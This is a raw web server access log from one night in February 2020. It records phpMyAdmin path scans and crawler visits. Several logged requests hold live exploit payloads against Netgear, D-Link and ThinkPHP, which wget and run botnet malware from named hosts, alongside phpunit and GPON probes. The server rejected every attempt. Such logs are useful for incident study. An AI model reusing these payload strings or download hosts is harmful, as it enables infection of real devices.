129.28.175.79 - - [29/Feb/2020:00:51:41 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:42 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:42 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:42 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:43 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:45 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:45 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:46 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:46 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:46 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:49 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:49 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:49 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:50 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:50 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:50 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:51 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:53 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:53 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:54 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:54 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:54 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:57 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:57 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:58 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:58 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:58 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:01 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:01 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:02 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:02 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:02 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:04 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:05 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:05 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:06 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:06 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:06 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:07 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:09 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:09 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:10 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:10 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:10 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:13 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:13 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:14 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:14 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:14 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:15 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:17 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:17 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:18 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:18 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:18 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:20 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:21 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:21 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:22 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:22 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:22 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:22 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:25 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:25 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:26 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:26 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:26 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:27 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:29 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:29 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:30 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:30 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:30 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:33 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:33 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:33 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:34 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:34 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:34 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:37 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:37 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:38 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:38 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:41 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:42 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:52:42 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.148.181.254 - - [29/Feb/2020:00:58:35 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
49.143.32.6 - - [29/Feb/2020:01:05:33 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
102.132.57.45 - - [29/Feb/2020:01:09:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
114.149.222.145 - - [29/Feb/2020:01:21:05 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
45.65.222.156 - - [29/Feb/2020:01:28:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
193.198.66.62 - - [29/Feb/2020:01:28:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
186.78.88.213 - - [29/Feb/2020:01:30:36 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
91.201.117.151 - - [29/Feb/2020:01:33:06 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
87.197.98.241 - - [29/Feb/2020:01:34:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
157.245.126.247 - - [29/Feb/2020:01:39:48 +0100] "HEAD / HTTP/1.1" 200 - "https://www.netcraft.com/survey/" "Mozilla/4.0 (compatible; Netcraft Web Server Survey)"
112.85.96.61 - - [29/Feb/2020:01:51:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
113.163.79.216 - - [29/Feb/2020:01:52:05 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
80.224.78.216 - - [29/Feb/2020:01:53:40 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
129.0.24.23 - - [29/Feb/2020:01:59:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
58.189.208.61 - - [29/Feb/2020:02:00:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
85.99.73.30 - - [29/Feb/2020:02:08:08 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
139.162.106.181 - - [29/Feb/2020:02:10:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
45.168.249.217 - - [29/Feb/2020:02:11:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
157.119.227.115 - - [29/Feb/2020:02:12:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
148.71.44.68 - - [29/Feb/2020:02:15:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
88.146.98.156 - - [29/Feb/2020:02:18:06 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
88.146.98.156 - - [29/Feb/2020:02:19:27 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
188.138.75.107 - - [29/Feb/2020:02:19:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [29/Feb/2020:02:19:27 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [29/Feb/2020:02:19:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [29/Feb/2020:02:19:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
112.85.96.61 - - [29/Feb/2020:02:19:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
88.146.98.156 - - [29/Feb/2020:02:19:47 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
88.146.98.156 - - [29/Feb/2020:02:23:21 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
88.146.98.156 - - [29/Feb/2020:02:23:46 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
88.146.98.156 - - [29/Feb/2020:02:24:40 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
88.146.98.156 - - [29/Feb/2020:02:25:19 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
88.146.98.156 - - [29/Feb/2020:02:26:23 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
88.146.98.156 - - [29/Feb/2020:02:26:41 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
88.146.98.156 - - [29/Feb/2020:02:27:11 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
178.79.146.242 - - [29/Feb/2020:02:32:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36"
178.79.146.242 - - [29/Feb/2020:02:32:03 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36"
187.147.96.3 - - [29/Feb/2020:02:36:27 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
139.162.106.181 - - [29/Feb/2020:02:37:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
185.15.0.12 - - [29/Feb/2020:02:39:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
178.130.27.202 - - [29/Feb/2020:02:44:45 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
182.131.118.97 - - [29/Feb/2020:02:44:53 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
49.68.246.198 - - [29/Feb/2020:02:48:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
5.101.0.209 - - [29/Feb/2020:02:48:26 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [29/Feb/2020:02:48:33 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [29/Feb/2020:02:48:36 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [29/Feb/2020:02:49:11 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [29/Feb/2020:02:49:24 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [29/Feb/2020:02:51:11 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
66.240.205.34 - - [29/Feb/2020:02:51:46 +0100] "Gh0st\xad" 501 321 "-" "-"
5.101.0.209 - - [29/Feb/2020:02:52:05 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
